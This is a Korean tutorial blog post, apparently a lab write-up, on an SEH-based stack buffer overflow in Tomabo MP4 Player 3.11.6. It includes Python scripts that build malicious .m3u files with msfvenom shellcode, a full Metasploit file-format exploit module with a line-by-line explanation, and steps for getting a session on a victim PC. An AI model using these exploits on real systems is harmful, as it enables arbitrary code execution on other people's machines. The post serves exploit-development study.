1. 개요


1.1. 취약점 요약

2015년 8월 30일 yokoacc, nudragn, rungga_reksya가 Tomabo MP4 Player 3.11.6 음악/비디오 재생 프로그램의 취약점을 제작 회사에게 공개했다. 하지만, 17일(2015년 9월 16일)이 지나도 응답이 없자 2015년 10월 18일 공개적으로 취약점을 발표했다.


이 취약점은 1,000 ~ 1,100 바이트 크기의 조작된 .m3u 확장자 파일을 로드하면 SEH 기반 스택 오버플로우(SEH Stack Overflow)가 발생한다.


Exploit-DB에 업로드 된 공격 코드를 보면 제작자가 개발한 파이썬 공격 코드와 메타스플로잇 프레임워크에서 동작 가능한 루비 코드가 존재한다.

 

파이썬으로 공격 코드를 개발하고, 루비 코드를 분석한다. 해당 프로그램의 공격 코드를 개발 및 분석하기 앞서 기본적으로 알아야 할 배경 지식을 습득 후 진행한다.


취약점 목록


2. 배경 지식


2.1. 실습 환경

구분 내용
운영체제 Windows 7 32bit SP1, Kali Linux 2016.1
대상 프로그램 reader.exe, seh.exe, safeseh_reader.exe
컴파일 환경 Visual Studio 2013

2.2. 스택 쿠키

Stack Cookie(GS Cookie) - Stack BOF

2.2. Stack Cookie(GS Cookie) 스택 쿠키는 스택 버퍼 오버플로우(Stack Buffer Overflow)를 차단하기 위해 함수의 시작과 끝 부분(지역 변수와 SFP, RET 사이)에 4바이트의 랜덤한 쿠키값을 삽입한 컴파일러 옵션..

dazemonkey.tistory.com


2.3. SEH

SEH(Structured Exception Handler) - Stack BOF

2.3. SEH(Structured Exception Handler) 예외는 프로그램이 잘못된 메모리 주소를 참조하거나 0으로 나누는 등 정상적인 실행 흐름을 변경하는 상태를 의미한다. 예외 발생 시 마이크로소프트(Microsoft)는 프로..

dazemonkey.tistory.com


2.4. SEH Overwrite

SEH Overwrite - Stack BOF

2.4. SEH Overwrite 스택 쿠키가 적용된 프로그램을 대상으로 스택 버퍼 오버플로우 공격을 하면 함수 끝 부분에 위치한 스택 쿠키 검증 코드로 인해 예외가 발생하고, 프로그램이 종료된다. 하지만, 스택 쿠키 검..

dazemonkey.tistory.com


2.5. SafeSEH

SafeSEH 우회 - Stack BOF

2.5. SafeSEH SafeSEH는 SEH 체인에 등록된 Next SEH와 핸들러를 덮어씌워 공격하는 SEH Overwrite 공격을 차단하기 위해 만들어진 보호 기법이다. 프로그램 실행 시 예외가 발생하면 SEH 체인에 등록 된 예외 처..

dazemonkey.tistory.com


2.6. SafeSEH 우회

SafeSEH 우회 - Stack BOF

2.5. SafeSEH SafeSEH는 SEH 체인에 등록된 Next SEH와 핸들러를 덮어씌워 공격하는 SEH Overwrite 공격을 차단하기 위해 만들어진 보호 기법이다. 프로그램 실행 시 예외가 발생하면 SEH 체인에 등록 된 예외 처..

dazemonkey.tistory.com


2.7. 스택 조정

Stack Adjustment - Stack BOF

2.7. 스택 조정 SEH Overwrite 실습 때 사용한 최종 공격 코드의 쉘코드는 취약점을 증명하기 위한 증명 코드이다. 증명 코드는 쉘을 획득할 필요 없이 단순히 메시지 박스, 계산기 등의 로컬에서 실행 가능한 쉘..

dazemonkey.tistory.com


3. 취약점 공격


3.1. 실습 환경

구분 내용
운영체제 Windows 7 32bit SP1, Kali Linux 2016.1
대상 프로그램 Tomabo MP4 Player 3.11.6
증명 코드 https://www.exploit-db.com/exploits/38486
https://www.exploit-db.com/exploits/39980

3.2. 파이썬 공격 코드 개발

Tomabo MP4 Player 3.11.6 프로그램은 1,000 ~ 1,100 바이트 크기의 조작된 .m3u 확장자 파일을 로드하면 SEH 기반 스택 오버플로우가 발생한다.


SEH 기반 스택 오버플로우의 선행 작업은 일반적인 스택 버퍼 오버플로우와 동일하게 비정상적인 에러(크래시, Crash)가 발생한지 확인한다.


Exploit-DB에 업로드 된 취약한 프로그램을 윈도우 7 32bit 운영체제에 설치하고, 1,000개의 "A" 문자열을 tomabo1.m3u 파일로 저장하는 코드를 작성한다.


# tomabo1.m3u - by Daze
import struct
 
junk1 = "A" * 1000
 
f = open("tomabo1.m3u", "w")
f.write(junk1)
f.close()
 
print "[+] m3u file created successfully"

프로그램(Tomabo MP4 Player)에서 tomabo1.m3u 파일을 열어보면 파일의 내용(마우스 커서 위치)만 출력될 뿐 크래시가 발생하지 않는다.


○ C:\Program Files\Tomabo\MP4 Player\MP4Player.exe

○ File > Open Files > tomabo1.m3u > 열기


정상적인 업로드


2,000개의 "A" 문자열을 tomabo2.m3u 파일로 저장하는 코드(tomabo2.py)를 작성하고, 프로그램에서 tomabo2.m3u 파일을 열어보면 크래시가 발생하여 프로그램이 중지된다.


에러가 발생한 내용을 보면 프로그램의 버퍼를 초과하여 RET가 변조되었고, 존재하지 않는 주소(0x41414141, AAAA)로 이동할 때 발생한다.


크래시 발생


보통 프로그램 오류 보고 창에서 프로그램 디버그 버튼을 클릭하면 자동으로 설정 된 디버거가 실행되어 현재 크래시 현황을 포착한다.


하지만, 현재 프로그램은 설정 된 디버거가 실행되자 마자 바로 종료되므로 이뮤니티 디버거로 프로그램을 열어 F9를 누르고 tomabo2.m3u 파일을 로드한다.


파일을 로드하면 EAX-C(0x41414135)의 값과 1를 비교하는 0x4A82D5 주소에서 예외가 발생하여 디버거에게 제어권이 넘어간다.


○ File > Open > C:\Program Files\Tomabo\MP4 Player\MP4Player.exe > 열기


예외 발생


예외가 발생하면 등록 된 SEH 체인을 확인하여 예외 처리 핸들러를 실행한다. 하지만, Next SEH와 Handler가 존재하지 않는 0x41414141(AAAA)로 덮어씌워져 정상적으로 예외 처리를 하지 못한다.


예외 발생 후 SEH 체인

디버거에게 제어권이 넘어간 상태이므로 Shift+F8을 눌러 예외를 디버기(MP4Player.exe)에게 돌려준다.


스택 창을 보면 예외 처리를 위한 코드로 넘어가게 되고, F9를 누르면 등록 된 예외 처리 핸들러가 실행된다. 등록 된 예외 처리 핸들러는 0x41414141인데, 실질적으로 존재하지 않는 주소이므로 이를 처리하지 못한다.


예외 처리 핸들러의 정확한 위치를 확인하기 위해 일정한 규칙을 갖는 2,000개의 패턴을 생성하여 tomabo3.m3u 파일로 저장하는 코드를 작성한다.


# tomabo3.m3u - by Daze
import struct
 
junk1 = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa... # pattern_create 2000
 
f = open("tomabo3.m3u", "w")
f.write(junk1)
f.close()
 
print "[+] m3u file created successfully"

이뮤니티 디버거로 프로그램을 열어 F9 > Shift+F8 > F9 단계로 누르면 EIP가 0x42346942로 변조 된다. SEH 체인을 보면 Next SEH와 핸들러가 각 0x33694232, 0x42346942로 변조되었고, 예외를 발생시키기 위한 버퍼의 크기는 1028 바이트이다.


예외 발생 후 SEH 체인


!mona exchain 명령어로 확인한 공격 코드 구성으로 작성하여 tomabo4.m3u 파일로 저장하는 코드를 작성한다.


# tomabo4.m3u - by Daze
import struct
 
junk1 = "A" * 1028
nseh = "B" * 4
handler = "C" * 4
buf = "D" * 400
payload = junk1 + nseh + handler + buf
 
f = open("tomabo4.m3u", "w")
f.write(payload)
f.close()
 
print "[+] m3u file created successfully"

이뮤니티 디버거로 프로그램을 열어 tomabo4.m3u 파일을 로드하면 공격 코드와 동일하게 Next SEH에 0x42424242(BBBB)로 덮어씌워 졌고, Handler에 0x43434343(CCCC)로 덮어씌워 졌다.


예외 발생 후 스택


예외 처리 핸들러에 POP POP RET 명령어(이에 대응 명령어)를 사용하는 주소를 주입하면 해당 예외를 제대로 처리하지 못해 Next SEH 주소로 이동된다.


!mona seh 명령어를 입력하면 SafeSEH가 적용되지 않는 POP POP RET 명령어를 사용하는 주소를 다수 발견할 수 있다. Tomabo MP4 Player 프로그램은 SafeSEH가 적용되지 않았으며 명령어 확인한 결과 dll를 사용하지 않는다.


코드 조각 검색 결과

POP POP RET 명령어를 사용하는 주소(0x489e69)를 handler 변수에 설정하고, tomabo5.m3u 파일로 저장하는 코드를 작성한다.


# tomabo5.m3u - by Daze
import struct
 
junk1 = "A" * 1028
nseh = "B" * 4
handler = struct.pack('<L',0x00489e69)
buf = "D" * 400
payload = junk1 + nseh + handler + buf
 
f = open("tomabo5.m3u", "w")
f.write(payload)
f.close()
 
print "[+] m3u file created successfully"

이뮤니티 디버거로 프로그램을 열어 tomabo5.m3u 파일을 로드하여 예외 처리 핸들러 주소(0x489e69)에 브레이크 포인트를 설정하고, F9 > Shift+F8 > F9를 누르면 등록 된 예외 처리 핸들러에 멈춘다.


현재 ESP는 스택의 0x12E558를 가리키고 있고, ESP+8에 Next SEH 주소(0x12F77C)가 저장되어 있다.


예외 핸들러 실행


RETN 명령어까지 실행하면 Next SEH 주소로 이동된다. Next SEH에 존재하지 않는 주소(0x42424242)를 가리키고 있으므로 더 이상 실행되지 않는다.


Next SEH 실행


Next SEH 하단에 0x44444444가 저장되어 있다. 만약, 0x44444444에 쉘코드가 저장되어 있다면 Next SEH에 쉘코드로 이동하면 명령어를 주입하면 쉘코드가 실행된다.


Next SEH 실행


쉘코드로 이동하는 JMP SHORT 명령어의 기계어 코드를 nseh 변수에 설정하고, buf 변수에 메시지 박스를 출력하는 범용 쉘코드를 설정하고, tomabo_exploit1.m3u 파일로 저장하는 코드를 작성한다.


○ msfvenom -p windows/messagebox TITLE="MessageBox" TEXT="Daze Hack!" -b "\x00\x09\x0a\x0b\x0c\x0d\x1a\x20" -f python

○ 배드 캐릭터 : 덤프 창의 0x12F785 주소에 저장되는 문자 값 확인


# tomabo_exploit1.m3u - by Daze
import struct
 
junk1 = "A" * 1028
nseh = struct.pack('<L',0x909007eb)
handler = struct.pack('<L',0x00489e69)
nop = "\x90" 
buf =  ""
buf += "\xbd\xd0\x98\xc1\x04\xd9\xc9\xd9\x74\x24\xf4\x5e\x33"
buf += "\xc9\xb1\x42\x83\xee\xfc\x31\x6e\x10\x03\x6e\x10\x32"
buf += "\x6d\x18\xef\x29\x57\xef\xd4\xb9\x59\xc2\xa7\x36\xab"
buf += "\x2b\xa3\x33\xba\x9b\xa7\x35\x31\x57\xc1\xa5\xc2\x21"
buf += "\x26\x5e\xaa\x8d\xbd\x56\x6b\x81\xd9\xe3\x78\x44\xdb"
buf += "\xda\x80\x96\xbb\x57\x12\x7d\x18\xec\xae\x41\xeb\xa6"
buf += "\x18\xc2\xea\xac\xd2\x78\xf5\xbb\xbf\x5c\x04\x50\xdc"
buf += "\xa9\x4f\x2d\x17\x59\x4e\xdf\x69\xa2\x60\xdf\x76\xf0"
buf += "\x07\x1f\xf2\x0e\xc9\x50\xf6\x11\x0e\x85\xfd\x29\xec"
buf += "\x7d\xd6\x38\xed\xf6\x7c\xe7\xec\xe3\xe7\x6c\xe2\xb8"
buf += "\x6c\x28\xe7\x3f\x98\x46\x13\xb4\x5f\xb1\x95\x8e\x7b"
buf += "\x5d\xc7\xcd\x36\x55\x2e\x05\xbf\x83\xb9\x67\xa8\xc5"
buf += "\xf4\x69\xc5\x88\xe0\xea\xea\xd2\x0e\x9d\x50\x29\x4a"
buf += "\xe3\x82\xd3\xdf\x9c\x2f\x30\x72\x4a\xc1\xc7\x8d\x75"
buf += "\x57\x72\x7a\xe1\x04\x11\x5a\xb0\xbc\xda\xa8\x1c\x59"
buf += "\x75\xb8\x13\xc4\xf7\x72\x08\x8e\xa4\x56\xa4\x06\xb2"
buf += "\xc1\x47\x4d\x3f\x67\x75\x3e\x84\xdf\xdb\xf2\x46\x98"
buf += "\x07\x29\xe5\x4f\x68\xce\xf6\x6f\xfe\x5f\x71\xc8\xde"
buf += "\xf7\xe0\x8f\x7b\x4a\x8b\x02\xe6\x39\x38\xac\x33\x35"
buf += "\xe2\xea\xc9\xcf\xf8\x9b\xa6\xee\xa6\x7b\x50\xd1\x1e"
buf += "\x1d\xc3\x79\xdb\xbc\x79\x1f\xd2\xf7\xf5\x93\x30\x02"
buf += "\x8c\xcd\x08\xc0\xdc\x5e\x3a\xb6\x1f\xb0\x8d\xf6\x8f"
buf += "\xce\xbb\xfe"
payload = junk1 + nseh + handler + nop + buf
 
f = open("tomabo_exploit1.m3u", "w")
f.write(payload)
f.close()
 
print "[+] m3u file created successfully"

이뮤니티 디버거로 tomabo_exploit1.m3u 파일을 로드하면 POP POP RET 명령어가 실행되어 Next SEH 주소로 이동된다.


해당 주소에 쉘코드로 이동하는 JMP SHORT 명령어로 인해 쉘코드가 실행된다. 쉘코드로 이동하는 명령어를 0xEB0C로 하면 Next SEH로 이동되지 않는다.


쉘코드를 직접 지정하여 실행해본 결과 0x12F77C부터 쉘코드 위치까지 7바이트였다.


쉘코드 실행


3.3. 메타스플로잇 공격 코드 분석

Exploit-DB에 업로드 된 메타스플로잇 공격 코드는 파일 포맷을 이용한 로컬 익스플로잇이다. 먼저 공격 코드를 분석하고, 실행하는 단계로 진행한다.


공격 코드를 /usr/share/metasploit-framework/modules/exploits/windows/fileformat/ 디렉토리로 복사하고, 파일 이름을 tomabo_mp4player_bof.rb로 변경한다.


메타스플로잇 공격 코드 다운로드


실질적으로 취약점을 공격하는 exploit 함수를 보면 1,028 바이트 크기의 알파벳 문자를 입력하면 예외가 발생한다.


예외가 발생하면 조작 된 Next SEH와 Handler가 실행되어 쉘코드가 실행된다. 페이로드 구성도 파이썬 공격 코드와 동일하다.


## tomabo_mp4player_bof.rb
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'   # 
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking
 
  include Msf::Exploit::FILEFORMAT
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Tomabo M3U SEH Based Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack over flow in Tomabo MP4 Player <= 3.11.6. When
          the application is used to open a specially crafted m3u file, an buffer is overwritten allowing
          for the execution of arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
        'yokoacc', # Proof of concept
        'nudragn', # Proof of concept
        'rungga_reksya', # Proof of concept
        'rahmat_nurfauzi' # Metasploit module
        ],
      'References'     =>
        [
          [ 'EDB', '38486' ],
          [ 'URL', 'http://www.tomabo.com/mp4-player/download.html'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
          'StackAdjustment' => -3500,
          'DisableNops' => 'True',         
        },
      'Payload'        =>
        {
          'Space'    => 1800,
          'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x1a\x20"
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Tomabo MP4 Player <= 3.11.6', { 'Ret' => 0x00401CA9 } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 18 2015',
      'DefaultTarget'  => 0))
 
    register_options(
      [
        OptString.new('FILENAME',   [ false, 'The file name.',  'msf.m3u']),
      ], self.class)
  end
 
  def exploit
    sploit = rand_text_alpha_upper(1028)
    sploit << "\xeb\x08\x90\x90" # short jump 8 bytes
    sploit << [target.ret].pack('V') # universal
    sploit << "\x90" * 16
    sploit << payload.encoded
    sploit << "\x44" * 436
 
    playlist = sploit
    print_status("Creating '#{datastore['FILENAME']}' file ...")
 
    file_create(playlist)
  end  
end

구분 내용
6행 msf/core 라이브러리 로드
8행 원격 익스플로잇 클래스 상속
9행 익스플로잇 취약률(GoodRanking : 안정적인 타겟 확보 가능)
11행 파일 포맷 기능을 가져와서 상위 클래스처럼 사용(믹스인)
13행 익스플로잇 초기화 코드, 상위 클래스에 선언되어 있는 기본 모듈 정보 정의
14행 super는 상위 클래스에 존재하는 동일한 메소드를 호출
15행 익스플로잇 모듈 이름
16행 익스플로잇 모듈 설명
21행 익스플로잇 모듈 라이센스
22행 익스플로잇 모듈 제작자
28행 익스플로잇 모듈 레퍼런스(취약점 코드, 참고 사이트)
33행 기본 옵션 정의(SEH, 스택 조정 등)
39행 페이로드 정의(페이로드를 넣을 공간, 페이로드 생성 시 생략할 문자 등), 페이로드마다 옵션이 다름
44행 익스플로잇할 대상 운영체제(윈도우)
45행 대상 별 RET, SEH 공격이므로 핸들러 주소를 의미
53행 기본 및 고급 옵션을 추가하거나 제거
55행 기본 옵션에 파일 이름을 msf.m3u 파일로 지정
59행 실제 대상 시스템에서 동작 가능한 익스플로잇 코드를 담고 있는 함수
60행 1,028 바이트 크기의 알파벳 문자를 sploit에 저장
61행 SHORT JMP 0x08에 해당하는 기계어 코드를 sploit에 저장
62행 POP POP RET 명령어가 들어있는 주소를 sploit에 저장, RET가 자동으로 설정 됨
63행 NOP를 sploit에 저장
64행 페이로드를 인코딩하여 sploit에 저장
65행 나머지 436 바이트를 sploit에 저장
70행 구성 된 페이로드 형식으로 msf.m3u 파일 생성

메타스플로잇 공격 코드의 8행에 MetasploitModule를 Metasploit3으로 변경하고, msfconsole을 실행한다.


tomabo_mp4player_bof 모듈 옵션을 설정하고 exploit 명령어를 입력하면 취약점을 유발할 수 있는 msf.m3u 파일이 생성된다. 생성 된 파일을 희생자 PC에 옮기고, 잠시 실행은 하지 말자.


익스플로잇 설정


공격자 PC에서 핸들러를 설정하지 않았으므로 희생자 PC에서 msf.m3u 파일을 로드해봤자 공격자와 세션이 맺어지지 않는다. 이를 위해 핸들러를 설정하고, exploit 명령어를 입력한다.


핸들러 설정


희생자 PC에서 msf.m3u 파일을 로드하면 공격자 PC와 세션이 맺어져 시스템을 장악할 수 있다.


핸들러 설정


4. 취약점 분석


4.1. 취약점 발생 위치

취약점 공격 코드 개발 시 Tomabo MP4 Player 프로그램은 SafeSEH가 적용되지 않는 것을 확인했다. SafeSEH가 적용되지 않았으므로 문자열 복사 함수 등에서 경계 값을 검사하지 않아 취약점이 발생할 가능성이 높다.


어떤 지점에서 취약점이 발생하는지 디버깅을 통해 알아본다. 이뮤니티 디버거에서 F9 > 프로그램 선택 > F12 > Alt+F9 > 프로그램 로드 단계로 진행하면 tomabo_exploit1.m3u 파일을 로드하는 지점을 확인할 수 있다.


프로그램 시작 지점


0x425624 주소의 함수가 호출하기 전 인자를 스택에 저장하고, 이 함수가 호출되면 tomabo_exploit1.m3u 파일의 내용을 0x12F378 주소로 복사 된다.


문자열 복사 함수 호출 지점


IDA로 0x425624 주소의 기계어 코드를 역컴파일하면 fscanf() 함수를 호출하여 파일의 내용을 변수에 저장한다.


문자열 복사 함수 호출 소스 코드


0x4A82D3 주소의 ESI 레지스터의 값을 EAX에 복사하고, EAX-C의 값과 1를 비교할 때 예외가 발생한다.


ESI 레지스터의 값을 보면 0x12FF78이다. 이 주소는 문자열 복사 함수가 호출된 후 버퍼의 끝 지점(Next SEH 직전)으로 0x41414141(AAAA)로 덮어씌워져 있다.


0x41414143과 1를 비교하므로 예외가 발생한 것이다.


예외 발생 지점


.m3u 파일이 로드되는 위치에 브레이크 포인트를 설정하고 함수를 따라 가보면 fscan() 함수 호출지점 및 예외 발생 지점을 확인할 수 있다.(View > Call Stack)


취약점 발생 위치 검색 순서


5. 참고 문헌


5.1. 참고 서적

○ 윈도우 시스템 해킹 가이드 버그헌팅과 익스플로잇 - 김현민 저

○ 리버싱 핵심 원리 - 이승원 저


5.2. 참고 저널

○ Exploit Writing Tutorial 3, 6 - 한국정보보호교육센터
○ Exploit Writing Tutorial 3 - 한국정보보호교육센터
○ Window Stack Buffer Overflow - RedAlert
○ Windows System Hacking Technique - rekcah
○ Buffer overflow exploitation - Khalil Ezhani
○ SEH Overwrite - K.knock
○ SEH Overwrites Simplified - Aelphaeis Mangarae
○ SEH Overwrite 소개 및 시연 - moon1408
○ Structured Exception Handler EXPLOITATION - HIGH-TECH BRIDGE
○ Adrenalin 2.2.5.3 Structured Exception Handler Overflow - WraithOfGhost
○ MP3 CD Converter Professional 5.30 Structured Exception Handler Overflow - WraithOfGhost
○ windows_bufferoverflow(2)-SEH Overflow - Hyunmini
○ SEH(Structured Exception Handling) - @Xpert


▶ Stack Adjustment - Stack BOF

▶ SafeSEH 우회 - Stack BOF

▶ SEH Overwrite - Stack BOF

▶ SEH(Structured Exception Handler) - Stack BOF

▶ Stack Cookie(GS Cookie) - Stack BOF

▶ Easy RM to MP3 Converter(Stack Buffer Overflow) 취약점 분석

▶ UAC(User Account Control) 우회 - PowerShell

  • 카카오톡-공유
  • 네이버-블로그-공유
  • 네이버-밴드-공유
  • 페이스북-공유
  • 트위터-공유
  • 카카오스토리-공유